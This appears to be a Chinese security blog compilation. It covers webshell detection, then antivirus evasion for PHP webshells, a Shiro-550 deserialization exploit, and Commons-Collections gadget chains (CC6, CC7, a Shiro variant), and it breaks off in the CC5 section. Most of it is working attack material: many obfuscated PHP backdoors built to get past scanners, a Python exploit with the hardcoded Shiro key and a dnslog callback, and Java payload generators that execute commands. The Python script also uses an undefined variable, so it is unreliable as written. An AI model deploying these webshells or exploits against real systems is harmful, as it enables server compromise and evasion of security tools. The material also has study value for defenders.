0%

Webshell检测方式

日志检测

使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。它的缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

文件内容检测(静态检测)

静态检测是指对文件中所使用的关键词、高危函数、文件修改的时间、文件权限、文件的所有者以及和其它文件要素等多个因素进行检测,对已知的样本查找准确率高,但缺点是漏报率、误报率高,,而且容易被绕过。
具体的检测方式如下:

Webshell特征检测

使用正则表达式制定相应的规则是很常见的一种静态检测方法,通过对webshell文件进行总结,提取出常见的特征、威胁函数形成正则,再进行扫描整个文件,通过关键词匹配脚本文件找出webshell。
比较常见的如:

1
系统调用的命令执行函数:eval\system\cmd_shell\assert等

文件名检测

有的文件名一看便知道是webshell,也是根据一些常见的webshell文件名进行总结然后再进行过滤。
如:

backdoor.phpwebshell.php等等

文件行为检测(动态检测)

动态检测是通过Webshell运行时使用的系统命令或者网络流量的异常来判断动作的威胁程度,Webshell通常会被加密从而避开静态特征的检测,当Webshell运行时就需要向系统发送系统命令来达到执行命令。通过检测系统调用来监测甚至拦截系统命令被执行。
具体检测方式如下:

流量行为特征检测

webshell带有常见执行命令动作等,它的命令行为方式决定了它的数据流量中的参数具有一些明显的特征。
如:

1
ipconfig/ifconfig/syste/whoami/net stat/eval/database/systeminfo

攻击者在上传完webshell后肯定会执行些命令等,那么便可以去检测系统的变化以及敏感的操作,通过和之前的配置以及文件的变化对比监测系统达到发现webshell的目的
进程分析

利用netstat命令来分析可疑的端口、IP、PID及程序进程

1
netstat -anptu | grep 

有些进程是隐藏起来的,可以通过以下命令来查看隐藏进程

1
2
3
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2

文件分析
通过查看/tmp /init.d /usr/bin /usr/sbin等敏感目录有无可疑的文件,针对可以的文件可使用stat进行创建修改时间、访问时间的详细查看,若修改时间距离事件日期接近,有关联,说明可能被篡改或者其他

1
stat /usr/bin

除此之外,还可以查找新增文件的方式来查找webshell
查找24小时内被修改的PHP文件

1
find ./ -mtime 0 -name "*.php"

查找隐藏文件

1
ls -ar | grep "^\."

系统信息分析

通过查看一些系统信息,来进行分析是否存在webshell

1
2
3
4
5
6
cat /root/.bash_history
查看命令操作痕迹
cat /etc/passwd
查看有无新增的用户或者除root之外uid为0的用户
crontab /etc/cron*
查看是否有后门木马程序启动相关信息

静态免杀

关于eval与assert

关于eval函数在php给出的官方说明是

eval 是一个语言构造器而不是一个函数,不能被可变函数调用。可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行 通俗的说比如你 <?php $a=eval;$a()?> 这样是不行的,造就了用eval的话达不到assert的灵活,但是在php7.1以上assert已经不行

PHP木马静态免杀基本是通过各种加密或异或等方式来隐藏关键词

将关键词混淆在类中、函数中

字符串变形:

1
2
3
4
5
6
7
8
9
10
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

用 substr_replace() 函数变形assert 达到免杀的效果 

1
2
3
4
<?php
    $a = substr_replace("assexx","rt",4);
    $a($_POST['x']);
 ?>

定义函数绕过
定义一个函数把关键词分割达到bypass效果

1
2
3
<?php
function test($a){ $a($_POST['x']);} test(assert);
?>

反之

1
2
3
4
5
<?php
function test($a){
assert($a);
}
test($_POST[x]);

回调函数

call_user_func_array()
call_user_func()
array_filter()
array_walk()
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce()
array_walk()
array_walk_recursive()
大多数回调函数已经被加入规则里这里建议使用一些冷门的

1
2
3
4
5
6
7
<?php
    forward_static_call_array(assert,array($_POST[x]));
?>

<?php
forward_static_call_array(assert,array($_POST[x]));
?>

回调函数变形
定义个函数 或者类来调用

定义一个函数

1
2
3
4
5
6
<?php
function test($a,$b){
array_map($a,$b);
}
    test(assert,array($_POST['x']));
?>

定义一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class test {
    var $a;
        var $b;
        function __construct($a,$b) {
            $this->a=$a;
            $this->b=$b;
        }
        function test() {
            array_map($this->a,$this->b);
        }
    }
    $p1=new test(assert,array($_POST['x']));
    $p1->test();
?>

这里贴上网上师傅自己写的混淆小马,同样利用了冷门回调函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
function myfunction_key($a,$b){
if ($a===$b){
return 0;
}
return ($a>$b)?1:-1;
}
class rtHjmCdS{
public $fHfoj;
public $fDaGv;
public $HgAjSd;
function __construct(){

$_xlr="J"^"\x2b";
$_Nbv="V"^"\x25";
$_cfh="T"^"\x27";
$_PdK="I"^"\x2c";
$_zJQ="+"^"\x59";
$_RgD="="^"\x49";
$this->fDaGv=$_xlr.$_Nbv.$_cfh.$_PdK.$_zJQ.$_RgD;

$_fLd="a"^"\x0";
$_wOK="j"^"\x18";
$_tAH="U"^"\x27";
$_HeV="J"^"\x2b";
$_cyo="-"^"\x54";
$_iSW="F"^"\x19";
$_jYS="/"^"\x5a";
$_BFt="h"^"\x1";
$_TRn="p"^"\x1e";
$_izx="k"^"\x1f";
$_gMz="X"^"\x3d";
$_TNu="<"^"\x4e";
$_UiE="v"^"\x5";
$_iHI="q"^"\x14";
$_LIK="m"^"\xe";
$_Yey="Z"^"\x2e";
$_lMr="="^"\x62";
$_WOI="+"^"\x5e";
$_FQy="u"^"\x14";
$_sjC="d"^"\x17";
$_mOr=">"^"\x4d";
$_Txf="*"^"\x45";
$_PmW="O"^"\x2c";
$this->HgAjSd=$_fLd.$_wOK.$_tAH.$_HeV.$_cyo.$_iSW.$_jYS.$_BFt.$_TRn.$_izx.$_gMz.$_TNu.$_UiE.$_iHI.$_LIK.$_Yey.$_lMr.$_WOI.$_FQy.$_sjC.$_mOr.$_Txf.$_PmW;
}

function __destruct(){

$Hfdag = $this->HgAjSd; //'array_uintersect_uassoc'
$fdJfd = $this->fDaGv; // 'assert'
//array_uintersect_uassoc(array($_POST[k]),array(''),'assert','strstr');
@$Hfdag(array($this->fHfoj),array(''),$fdJfd,'myfunction_key');
}
}
$jfnp=new rtHjmCdS();
@$jfnp->fHfoj=$_REQUEST['css'];
?>

例如:使用str_rot13函数,注意assert适用于PHP5

1
2
3
4
<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

str_rot13() 函数对字符串执行 ROT13 编码,通过编码来最终获得assert,但是这样是能被查杀出来的,可以将其隐藏在类或函数中

1
2
3
4
5
6
7
<?php
function test($a){
$b=str_rot13('nffreg');
$b($a);
}
test($_REQUEST['x']);
?>

但是这样还是绕不过D盾,那就在函数的外面再套上类来试试

1
2
3
4
5
6
7
8
9
10
11
<?php
class One{
function test($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->test($_REQUEST['x']);
?>

利用explode函数来分割字符串,再由class封装类来进行绕过D盾
拆解合并

1
2
3
4
5
<?php
$ch = explode(".","hello.ass.world.er.t");
$c = $ch[1].$ch[3].$ch[4]; //assert
$c($_POST['x']);
?>

还有很多加解密方式,利用各种函数如array_map、array_key、preg_replace来隐藏关键字

1
随机异或产生

"Y"^"\x38"的结果就是a,同样的生成assert即可

1
2
3
4
5
6
7
8
$_StL="Y"^"\x38";
$_ENr="T"^"\x27";
$_ohw="^"^"\x2d";
$_gpN="~"^"\x1b";
$_fyR="g"^"\x15";
$_pAs="H"^"\x3c";

$c=$_StL.$_ENr.$_ohw.$_gpN.$_fyR.$_pAs;

上面讲了三种隐藏关键字的方式,作用大同小异
特殊字符干扰

特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符

1
2
3
4
5
<?php
    $a = $_REQUEST['a'];
    $b = null;
    eval($b.$a);
?>

不过已经不能免杀了,利用适当的变形即可免杀 如

1
2
3
4
5
<?php
    $a = $_POST['a'];
    $b = "\n";
    eval($b.=$a);
?>

其他方法如”\r\n\t”,函数返回,类,等等
利用数组

1
2
3
4
<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['a'])];
?>

利用函数

1
2
3
4
5
6
<?php
function func(){
return $_REQUEST['x'];
}
preg_replace("/hello/e",func(),"hello");
?>

加上/e可以当作PHP代码进行解析,测试在5.6版本下可以使用
除此之外,例如create_function函数,用来创建匿名函数

1
2
3
4
<?php 
$a = create_function('',$_POST['a']);
$a();
?>

字符特征马
对于无特征马这里我的意思是无字符特征

利用异或,编码等方式 例如p神博客的

1
2
3
4
5
6
<?php
    $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert';
    $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
    $___=$$__;
    $_($___[_]); // assert($_POST[_]);

到这里静态免杀基本就完了,总结一下:

  • 使用冷门函数
  • 尽量避免使用敏感关键字,可以用各种方式生成
  • 将关键代码混淆在类、函数里

1 漏洞说明

Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro <= 1.2.4版本中存在反序列化漏洞。

Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:

  1. 检索cookie中RememberMe的值
  2. Base64解码
  3. 使用AES解密
  4. 反序列化
    漏洞原因在于第三步,AES加解密的密钥是写死在代码中的,于是我们可以构造RememberMe的值,然后让其反序列化执行。

判断AES秘钥

shiro在1.4.2版本之前, AES的模式为CBC,在1.4.2版本之后为GCM

密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,

而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段

Shiro框架默认指纹特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

2 漏洞分析

代码下载

1
2
3
git clone https://github.com/apache/shiro.git  
cd shiro
git checkout shiro-root-1.2.4

编辑shiro\samples\web的pom.xml中的pom.xml文件:

1
2
3
4
5
6
7
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

首先看下RememberMe值的加密过程。在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin下个断点,点击debug开启tomcat服务
图片

之后在web端登录账户root/secret,勾选上Remember Me的按钮,程序会停在断点处

图片

首先调用forgetIdentity构造方法处理request和response请求,包括在response中加入cookie信息,然后调用rememberIdentity函数,来处理cookie中的rememberme字段。跟进rememberIdentity函数

图片

rememberIdentity函数首先调用getIdentityToRemember函数来获取用户身份,这里也就是”root”,跟进rememberIdentity构造方法

图片

调用convertPrincipalsToBytes方法将accountPrincipals也就是”root”转换为字节形式,跟进函数

图片

转换过程是先序列化用户身份”id”,在对其进行encrypt,跟进encrypt函数

图片

图片

encrypt函数就是调用AES加密对序列化后的”root”进行加密,加密的密钥由getEncryptionCipherKey()得到,跟进getEncryptionCipherKey()函数会发现其值为常量

图片

继续f8,直到回到rememberIdentity函数

图片

跟进rememberSerializedIdentity函数

图片

发现其对其进行base64编码后,设置到cookie中。到这里我们可以梳理下整个过程,当我们勾选上rememberme选项框后,以root身份登录,后端会进行如下操作:

  • 序列化用户身份”root”
  • 对root进行AES加密,密钥为常量
  • base64编码
  • 设置到cookie中的rememberme字段
    图片

图片

接下来看下rememberme字段的解密过程:

将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求

图片

跟进getRememberedPrincipals函数

图片

跟进getRememberedSerializedIdentity函数,发现函数提取出cookie并且base64解码

图片

回到getRememberedPrincipals函数,继续跟进到convertBytesToPrincipals函数,发现其对cookie进行AES解密和反序列化

图片

decrypt函数就不贴图了,跟进去很明显就可以看出来其功能。

综上,整个流程为

  • 读取cookie中rememberMe值
  • base64解码
  • AES解密
  • 反序列化
    其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作

3 漏洞利用(直接拿网上的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "ip"
jar_file = 'D:\\java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://e54daa.dnslog.cn"],
                        stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size

# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="

# AES的CBC加密模式
mode = AES.MODE_CBC

# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes

# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())

# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

# 发送request
try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

能检测到dnslog,就说明命令执行成功

之前已经将TemplatesImpl 投入到Commons-Collections利用链中,执行任意Java字节码。

这次要解决一个问题:为什么已经有CC6这种高版本通杀链了还需要TemplatesImpl的链子呢?

可以用shiro反序列化来测试TemplatesImpl反序列化

shiro反序列化的原理

1
2
3
4
5
6
7
8
9
10
<dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
</dependency>
<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.27.0-GA</version>
</dependency>

为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

使用CommonsCollections6攻击Shiro

图片

登录时勾选remember me

勾选之后登陆cookie会生成rememberMe字段,之前说了这个字段被发送到服务端进行反序列化,所以我们的攻击流程

  • 使用以前学过的CommonsCollections利用链生成一个序列化Payload
  • 将payload用shiro默认key加密
  • 将加密后的payload放入rememberMe字段发送给服务端触发反序列化
    可以用下面代码生成cc6的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package shiroatack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;



public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package shiroatack;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

直接将生成的payload传入会报错的,具体报错原因这里暂且不表,缘由过于复杂。
经过p神调试给出结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

我们的payload里就有数组

1
Transformer[] transformers = new Transformer[] {}

解决办法

我们不能用到数组,回忆一下,触发反序列化的最关键的点在与LazyMap的get方法,通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。但是ConstantTransformer类的作用本身就是传递参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class ConstantTransformer implements Transformer, Serializable {
    
    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param constantToReturn  the constant to return each time
     */
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }
}

这起到一个简单的参数传递作用,那我们只要找到能够代替这个作用的方法就行。
LazyMap的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是随便输入的,但此时发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色

改造为CCShiro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package shiroatack;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(shiroatack.Evil.class.getName());
        byte[] payloads = new CCShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

通过Client.java生成payload(别忘了写个Evil类用来获取字节码)

这里用到了javassist,这是一个字节码操纵的第三方库,可以帮助我将恶意类生成字节码再交给 TemplatesImpl 

图片

前言

CC7也是对CC3.1版本的利用链,使用Hashtable作为反序列化的入口点,通过AbstractMap#equals来调用LazyMap#get

利用链

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

利用链分析

看到Hashtable#readObject,循环调用了reconstitutionPutelements为传入的元素个数

图片
key和value都是从序列化流中得到的,序列化流中的值则是通过put传进去的

图片

图片

跟进reconstitutionPut

图片

图片

for循环中调用了equals,我们先看看进入for循环的条件:e != null,而e = tab[index],此时tab[index]的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;

那如何才能进入for循环呢,既然调用一次reconstitutionPut不行,那我们就调用两次,也就是说put两个元素进Hashtable对象,这样elements的值就为2,readObject中的for循环就可以循环两次;

第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

接着看看if里面的判断,要求e.hash == hash,这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行;

继续跟进到AbstractMapDecorator#equals,这里的map是可控的

图片

跟进到AbstractMap#equals,调用了m.get(),而m是根据传入的对象获取的,也就是说如果传入的是LazyMap类对象,那么这里就是调用的LazyMap#get,便可触发RCE

图片

图片

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()的时候也会调用到LazyMap#get,会触发RCE
图片

所以这里构造一个fakeTransformers,里面为空就行;

代码2

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

先将fakeTransformers传入ChainedTransformer对象;
new两个HashMap对象,都调用LazyMap.decorate,并且分别向两个对象中传值,两个key值分别为yyzZ,因为需要这两个值的hash值相等,而在java中,yyzZ的hash值恰好相等

然后将这两个LazyMap类对象put进Hashtable类对象;

代码3

1
2
3
4
5
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers
最后还要remove掉yy,应为如果不去掉的话,第二次调用reconstitutionPut的时候就会存在两个key

图片

导致进入下面的if判断,直接返回false,不再执行后面的代码图片

这里继续解释一下几个细节点:

  • 为什么要调用两次put?
    在第一次调用reconstitutionPut时,会把key和value注册进table中

图片

图片

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因

  • 为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?
    这是因为HashTable#put实际上也会调用到equals方法

图片

当调用完equals方法后,map2的key中就会增加一个yy键,而这个键的值为UNIXProcess这个类的实例

图片

这个实例并没有继承Serializable,所以是无法被序列化存进去的,如果我们不进行remove,则会报出这样一个错误

图片

所以我们需要将这个yy键-值给移除掉,从这里也能明白,实际上我们在反序列化前已经成功的执行了一次命令。但是为了反序列化时可以成功执行命令,就需要把这个键给移除掉

前言

分析过CC1就很容易看懂CC5

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

前置知识

CC5中涉及到两个新的类,这里先介绍一下

TiedMapEntry

图片

图片

该类有两个参数,一个Map类型,一个Object类型;

后面我们会使用到它的getValuetoString方法

BadAttributeValueExpException

图片

图片

该类只有一个val参数

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
